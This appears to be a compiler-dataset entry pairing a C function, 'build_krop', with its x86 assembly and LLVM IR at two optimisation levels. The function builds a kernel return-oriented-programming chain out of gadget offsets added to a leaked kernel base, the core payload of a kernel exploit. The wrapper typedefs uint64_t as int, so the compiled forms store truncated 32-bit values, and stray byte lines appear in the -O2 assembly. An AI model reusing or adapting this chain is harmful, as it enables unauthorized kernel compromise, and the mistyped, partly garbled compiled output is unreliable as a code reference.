#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int uint64_t;

/* Variables and functions */
void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
  uint64_t *rop;
  *(uint64_t *)&buf[0x39] = kbase_addr + 0x9B6C0;
  *(uint64_t *)&buf[0x00] = kbase_addr + 0x6DB59;
  rop = (uint64_t *)&buf[0xD8];
  *rop++ = kbase_addr + 0x1A21C3;
  *rop++ = scratchpad_addr;
  *rop++ = 0xDEADBEEF;
  *rop++ = kbase_addr + 0x84DE3;
  *rop++ = 0xDEADBEEF;
  *rop++ = 0xDEADBEEF;
  *rop++ = 0xDEADBEEF;
  *rop++ = kbase_addr + 0x89250;
  *rop++ = 0;
  *rop++ = kbase_addr + 0xC9110;
  *rop++ = kbase_addr + 0xF5633;
  *rop++ = 4;
  *rop++ = kbase_addr + 0x724DB;
  *rop++ = 0xDEADBEEF;
  *rop++ = kbase_addr + 0x557894;
  *rop++ = kbase_addr + 0xC8C80;
  *rop++ = kbase_addr + 0x89250;
  *rop++ = 1;
  *rop++ = kbase_addr + 0xBFBC0;
  *rop++ = kbase_addr + 0xF5633;
  *rop++ = 4;
  *rop++ = kbase_addr + 0x724DB;
  *rop++ = 0xDEADBEEF;
  *rop++ = kbase_addr + 0x557894;
  *rop++ = kbase_addr + 0x1ABAAE;
  *rop++ = kbase_addr + 0x1663080;
  *rop++ = kbase_addr + 0xC7A50;
  *rop++ = kbase_addr + 0x5AE;
  *rop++ = scratchpad_addr - 0xA;
  *rop++ = kbase_addr + 0x6A98FF;
  *rop++ = kbase_addr + 0x891BC;
}


x86 assembly (clang, -O0):
<build_krop>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
mov    -0xc(%rbp),%ecx
add    $0x9b6c0,%ecx
mov    -0x8(%rbp),%rax
mov    %ecx,0x39(%rax)
mov    -0xc(%rbp),%ecx
add    $0x6db59,%ecx
mov    -0x8(%rbp),%rax
mov    %ecx,(%rax)
mov    -0x8(%rbp),%rax
add    $0xd8,%rax
mov    %rax,-0x18(%rbp)
mov    -0xc(%rbp),%ecx
add    $0x1a21c3,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x10(%rbp),%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0xdeadbeef,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x84de3,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0xdeadbeef,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0xdeadbeef,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0xdeadbeef,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x89250,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0x0,(%rax)
mov    -0xc(%rbp),%ecx
add    $0xc9110,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0xf5633,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0x4,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x724db,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0xdeadbeef,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x557894,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0xc8c80,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x89250,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0x1,(%rax)
mov    -0xc(%rbp),%ecx
add    $0xbfbc0,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0xf5633,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0x4,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x724db,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x18(%rbp),%rax
mov    %rax,%rcx
add    $0x4,%rcx
mov    %rcx,-0x18(%rbp)
movl   $0xdeadbeef,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x557894,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x1abaae,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x1663080,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0xc7a50,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x5ae,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0x10(%rbp),%ecx
sub    $0xa,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x6a98ff,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
mov    -0xc(%rbp),%ecx
add    $0x891bc,%ecx
mov    -0x18(%rbp),%rax
mov    %rax,%rdx
add    $0x4,%rdx
mov    %rdx,-0x18(%rbp)
mov    %ecx,(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<build_krop>:
lea    0x9b6c0(%rsi),%eax
mov    %eax,0x39(%rdi)
lea    0x6db59(%rsi),%eax
mov    %eax,(%rdi)
lea    0x1a21c3(%rsi),%eax
mov    %eax,0xd8(%rdi)
mov    %edx,0xdc(%rdi)
movl   $0xdeadbeef,0xe0(%rdi)
be ad de
lea    0x84de3(%rsi),%eax
mov    %eax,0xe4(%rdi)
movabs $0xdeadbeefdeadbeef,%rax
be ad de
mov    %rax,0xe8(%rdi)
movl   $0xdeadbeef,0xf0(%rdi)
be ad de
lea    0x89250(%rsi),%r8d
mov    %r8d,0xf4(%rdi)
movl   $0x0,0xf8(%rdi)
lea    0xc9110(%rsi),%ecx
mov    %ecx,0xfc(%rdi)
lea    0xf5633(%rsi),%r9d
mov    %r9d,0x100(%rdi)
movl   $0x4,0x104(%rdi)
lea    0x724db(%rsi),%eax
mov    %eax,0x108(%rdi)
movl   $0xdeadbeef,0x10c(%rdi)
be ad de
movd   %esi,%xmm0
pshufd $0x0,%xmm0,%xmm1
paddd  0xe49(%rip),%xmm1
movd   %xmm1,0x110(%rdi)
lea    0xc8c80(%rsi),%ecx
mov    %ecx,0x114(%rdi)
mov    %r8d,0x118(%rdi)
movl   $0x1,0x11c(%rdi)
add    $0xbfbc0,%esi
mov    %esi,0x120(%rdi)
mov    %r9d,0x124(%rdi)
movl   $0x4,0x128(%rdi)
mov    %eax,0x12c(%rdi)
movl   $0xdeadbeef,0x130(%rdi)
be ad de
movdqu %xmm1,0x134(%rdi)
movd   %edx,%xmm1
punpckldq %xmm1,%xmm0
pshufd $0x4,%xmm0,%xmm0
paddd  0xdea(%rip),%xmm0
movdqu %xmm0,0x144(%rdi)
ret

LLVM IR (-O0):
define void @build_krop(i8* %0, i32 %1, i32 %2) {
%4 = alloca i8*
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32*
store i8* %0, i8** %4
store i32 %1, i32* %5
store i32 %2, i32* %6
%8 = load i32, i32* %5
%9 = add nsw i32 %8, 636608
%10 = load i8*, i8** %4
%11 = getelementptr inbounds i8, i8* %10, i64 57
%12 = bitcast i8* %11 to i32*
store i32 %9, i32* %12
%13 = load i32, i32* %5
%14 = add nsw i32 %13, 449369
%15 = load i8*, i8** %4
%16 = getelementptr inbounds i8, i8* %15, i64 0
%17 = bitcast i8* %16 to i32*
store i32 %14, i32* %17
%18 = load i8*, i8** %4
%19 = getelementptr inbounds i8, i8* %18, i64 216
%20 = bitcast i8* %19 to i32*
store i32* %20, i32** %7
%21 = load i32, i32* %5
%22 = add nsw i32 %21, 1712579
%23 = load i32*, i32** %7
%24 = getelementptr inbounds i32, i32* %23, i32 1
store i32* %24, i32** %7
store i32 %22, i32* %23
%25 = load i32, i32* %6
%26 = load i32*, i32** %7
%27 = getelementptr inbounds i32, i32* %26, i32 1
store i32* %27, i32** %7
store i32 %25, i32* %26
%28 = load i32*, i32** %7
%29 = getelementptr inbounds i32, i32* %28, i32 1
store i32* %29, i32** %7
store i32 -559038737, i32* %28
%30 = load i32, i32* %5
%31 = add nsw i32 %30, 544227
%32 = load i32*, i32** %7
%33 = getelementptr inbounds i32, i32* %32, i32 1
store i32* %33, i32** %7
store i32 %31, i32* %32
%34 = load i32*, i32** %7
%35 = getelementptr inbounds i32, i32* %34, i32 1
store i32* %35, i32** %7
store i32 -559038737, i32* %34
%36 = load i32*, i32** %7
%37 = getelementptr inbounds i32, i32* %36, i32 1
store i32* %37, i32** %7
store i32 -559038737, i32* %36
%38 = load i32*, i32** %7
%39 = getelementptr inbounds i32, i32* %38, i32 1
store i32* %39, i32** %7
store i32 -559038737, i32* %38
%40 = load i32, i32* %5
%41 = add nsw i32 %40, 561744
%42 = load i32*, i32** %7
%43 = getelementptr inbounds i32, i32* %42, i32 1
store i32* %43, i32** %7
store i32 %41, i32* %42
%44 = load i32*, i32** %7
%45 = getelementptr inbounds i32, i32* %44, i32 1
store i32* %45, i32** %7
store i32 0, i32* %44
%46 = load i32, i32* %5
%47 = add nsw i32 %46, 823568
%48 = load i32*, i32** %7
%49 = getelementptr inbounds i32, i32* %48, i32 1
store i32* %49, i32** %7
store i32 %47, i32* %48
%50 = load i32, i32* %5
%51 = add nsw i32 %50, 1005107
%52 = load i32*, i32** %7
%53 = getelementptr inbounds i32, i32* %52, i32 1
store i32* %53, i32** %7
store i32 %51, i32* %52
%54 = load i32*, i32** %7
%55 = getelementptr inbounds i32, i32* %54, i32 1
store i32* %55, i32** %7
store i32 4, i32* %54
%56 = load i32, i32* %5
%57 = add nsw i32 %56, 468187
%58 = load i32*, i32** %7
%59 = getelementptr inbounds i32, i32* %58, i32 1
store i32* %59, i32** %7
store i32 %57, i32* %58
%60 = load i32*, i32** %7
%61 = getelementptr inbounds i32, i32* %60, i32 1
store i32* %61, i32** %7
store i32 -559038737, i32* %60
%62 = load i32, i32* %5
%63 = add nsw i32 %62, 5601428
%64 = load i32*, i32** %7
%65 = getelementptr inbounds i32, i32* %64, i32 1
store i32* %65, i32** %7
store i32 %63, i32* %64
%66 = load i32, i32* %5
%67 = add nsw i32 %66, 822400
%68 = load i32*, i32** %7
%69 = getelementptr inbounds i32, i32* %68, i32 1
store i32* %69, i32** %7
store i32 %67, i32* %68
%70 = load i32, i32* %5
%71 = add nsw i32 %70, 561744
%72 = load i32*, i32** %7
%73 = getelementptr inbounds i32, i32* %72, i32 1
store i32* %73, i32** %7
store i32 %71, i32* %72
%74 = load i32*, i32** %7
%75 = getelementptr inbounds i32, i32* %74, i32 1
store i32* %75, i32** %7
store i32 1, i32* %74
%76 = load i32, i32* %5
%77 = add nsw i32 %76, 785344
%78 = load i32*, i32** %7
%79 = getelementptr inbounds i32, i32* %78, i32 1
store i32* %79, i32** %7
store i32 %77, i32* %78
%80 = load i32, i32* %5
%81 = add nsw i32 %80, 1005107
%82 = load i32*, i32** %7
%83 = getelementptr inbounds i32, i32* %82, i32 1
store i32* %83, i32** %7
store i32 %81, i32* %82
%84 = load i32*, i32** %7
%85 = getelementptr inbounds i32, i32* %84, i32 1
store i32* %85, i32** %7
store i32 4, i32* %84
%86 = load i32, i32* %5
%87 = add nsw i32 %86, 468187
%88 = load i32*, i32** %7
%89 = getelementptr inbounds i32, i32* %88, i32 1
store i32* %89, i32** %7
store i32 %87, i32* %88
%90 = load i32*, i32** %7
%91 = getelementptr inbounds i32, i32* %90, i32 1
store i32* %91, i32** %7
store i32 -559038737, i32* %90
%92 = load i32, i32* %5
%93 = add nsw i32 %92, 5601428
%94 = load i32*, i32** %7
%95 = getelementptr inbounds i32, i32* %94, i32 1
store i32* %95, i32** %7
store i32 %93, i32* %94
%96 = load i32, i32* %5
%97 = add nsw i32 %96, 1751726
%98 = load i32*, i32** %7
%99 = getelementptr inbounds i32, i32* %98, i32 1
store i32* %99, i32** %7
store i32 %97, i32* %98
%100 = load i32, i32* %5
%101 = add nsw i32 %100, 23474304
%102 = load i32*, i32** %7
%103 = getelementptr inbounds i32, i32* %102, i32 1
store i32* %103, i32** %7
store i32 %101, i32* %102
%104 = load i32, i32* %5
%105 = add nsw i32 %104, 817744
%106 = load i32*, i32** %7
%107 = getelementptr inbounds i32, i32* %106, i32 1
store i32* %107, i32** %7
store i32 %105, i32* %106
%108 = load i32, i32* %5
%109 = add nsw i32 %108, 1454
%110 = load i32*, i32** %7
%111 = getelementptr inbounds i32, i32* %110, i32 1
store i32* %111, i32** %7
store i32 %109, i32* %110
%112 = load i32, i32* %6
%113 = sub nsw i32 %112, 10
%114 = load i32*, i32** %7
%115 = getelementptr inbounds i32, i32* %114, i32 1
store i32* %115, i32** %7
store i32 %113, i32* %114
%116 = load i32, i32* %5
%117 = add nsw i32 %116, 6985983
%118 = load i32*, i32** %7
%119 = getelementptr inbounds i32, i32* %118, i32 1
store i32* %119, i32** %7
store i32 %117, i32* %118
%120 = load i32, i32* %5
%121 = add nsw i32 %120, 561596
%122 = load i32*, i32** %7
%123 = getelementptr inbounds i32, i32* %122, i32 1
store i32* %123, i32** %7
store i32 %121, i32* %122
ret void
}

LLVM IR (-O2):
define void @build_krop(i8* writeonly %0, i32 %1, i32 %2) {
%4 = add nsw i32 %1, 636608
%5 = getelementptr inbounds i8, i8* %0, i64 57
%6 = bitcast i8* %5 to i32*
store i32 %4, i32* %6
%7 = add nsw i32 %1, 449369
%8 = bitcast i8* %0 to i32*
store i32 %7, i32* %8
%9 = getelementptr inbounds i8, i8* %0, i64 216
%10 = bitcast i8* %9 to i32*
%11 = add nsw i32 %1, 1712579
%12 = getelementptr inbounds i8, i8* %0, i64 220
%13 = bitcast i8* %12 to i32*
store i32 %11, i32* %10
%14 = getelementptr inbounds i8, i8* %0, i64 224
%15 = bitcast i8* %14 to i32*
store i32 %2, i32* %13
%16 = getelementptr inbounds i8, i8* %0, i64 228
%17 = bitcast i8* %16 to i32*
store i32 -559038737, i32* %15
%18 = add nsw i32 %1, 544227
%19 = getelementptr inbounds i8, i8* %0, i64 232
%20 = bitcast i8* %19 to i32*
store i32 %18, i32* %17
%21 = getelementptr inbounds i8, i8* %0, i64 236
%22 = bitcast i8* %21 to i32*
store i32 -559038737, i32* %20
%23 = getelementptr inbounds i8, i8* %0, i64 240
%24 = bitcast i8* %23 to i32*
store i32 -559038737, i32* %22
%25 = getelementptr inbounds i8, i8* %0, i64 244
%26 = bitcast i8* %25 to i32*
store i32 -559038737, i32* %24
%27 = add nsw i32 %1, 561744
%28 = getelementptr inbounds i8, i8* %0, i64 248
%29 = bitcast i8* %28 to i32*
store i32 %27, i32* %26
%30 = getelementptr inbounds i8, i8* %0, i64 252
%31 = bitcast i8* %30 to i32*
store i32 0, i32* %29
%32 = add nsw i32 %1, 823568
%33 = getelementptr inbounds i8, i8* %0, i64 256
%34 = bitcast i8* %33 to i32*
store i32 %32, i32* %31
%35 = add nsw i32 %1, 1005107
%36 = getelementptr inbounds i8, i8* %0, i64 260
%37 = bitcast i8* %36 to i32*
store i32 %35, i32* %34
%38 = getelementptr inbounds i8, i8* %0, i64 264
%39 = bitcast i8* %38 to i32*
store i32 4, i32* %37
%40 = add nsw i32 %1, 468187
%41 = getelementptr inbounds i8, i8* %0, i64 268
%42 = bitcast i8* %41 to i32*
store i32 %40, i32* %39
%43 = getelementptr inbounds i8, i8* %0, i64 272
%44 = bitcast i8* %43 to i32*
store i32 -559038737, i32* %42
%45 = getelementptr inbounds i8, i8* %0, i64 276
%46 = bitcast i8* %45 to i32*
%47 = insertelement <4 x i32> poison, i32 %1, i64 0
%48 = shufflevector <4 x i32> %47, <4 x i32> poison, <4 x i32> zeroinitializer
%49 = add nsw <4 x i32> %48, <i32 5601428, i32 1751726, i32 23474304, i32 817744>
%50 = extractelement <4 x i32> %49, i64 0
store i32 %50, i32* %44
%51 = add nsw i32 %1, 822400
%52 = getelementptr inbounds i8, i8* %0, i64 280
%53 = bitcast i8* %52 to i32*
store i32 %51, i32* %46
%54 = getelementptr inbounds i8, i8* %0, i64 284
%55 = bitcast i8* %54 to i32*
store i32 %27, i32* %53
%56 = getelementptr inbounds i8, i8* %0, i64 288
%57 = bitcast i8* %56 to i32*
store i32 1, i32* %55
%58 = add nsw i32 %1, 785344
%59 = getelementptr inbounds i8, i8* %0, i64 292
%60 = bitcast i8* %59 to i32*
store i32 %58, i32* %57
%61 = getelementptr inbounds i8, i8* %0, i64 296
%62 = bitcast i8* %61 to i32*
store i32 %35, i32* %60
%63 = getelementptr inbounds i8, i8* %0, i64 300
%64 = bitcast i8* %63 to i32*
store i32 4, i32* %62
%65 = getelementptr inbounds i8, i8* %0, i64 304
%66 = bitcast i8* %65 to i32*
store i32 %40, i32* %64
%67 = getelementptr inbounds i8, i8* %0, i64 308
store i32 -559038737, i32* %66
%68 = getelementptr inbounds i8, i8* %0, i64 324
%69 = bitcast i8* %67 to <4 x i32>*
store <4 x i32> %49, <4 x i32>* %69
%70 = insertelement <4 x i32> %47, i32 %2, i64 1
%71 = shufflevector <4 x i32> %70, <4 x i32> poison, <4 x i32> <i32 0, i32 1, i32 0, i32 0>
%72 = add nsw <4 x i32> %71, <i32 1454, i32 -10, i32 6985983, i32 561596>
%73 = bitcast i8* %68 to <4 x i32>*
store <4 x i32> %72, <4 x i32>* %73
ret void
}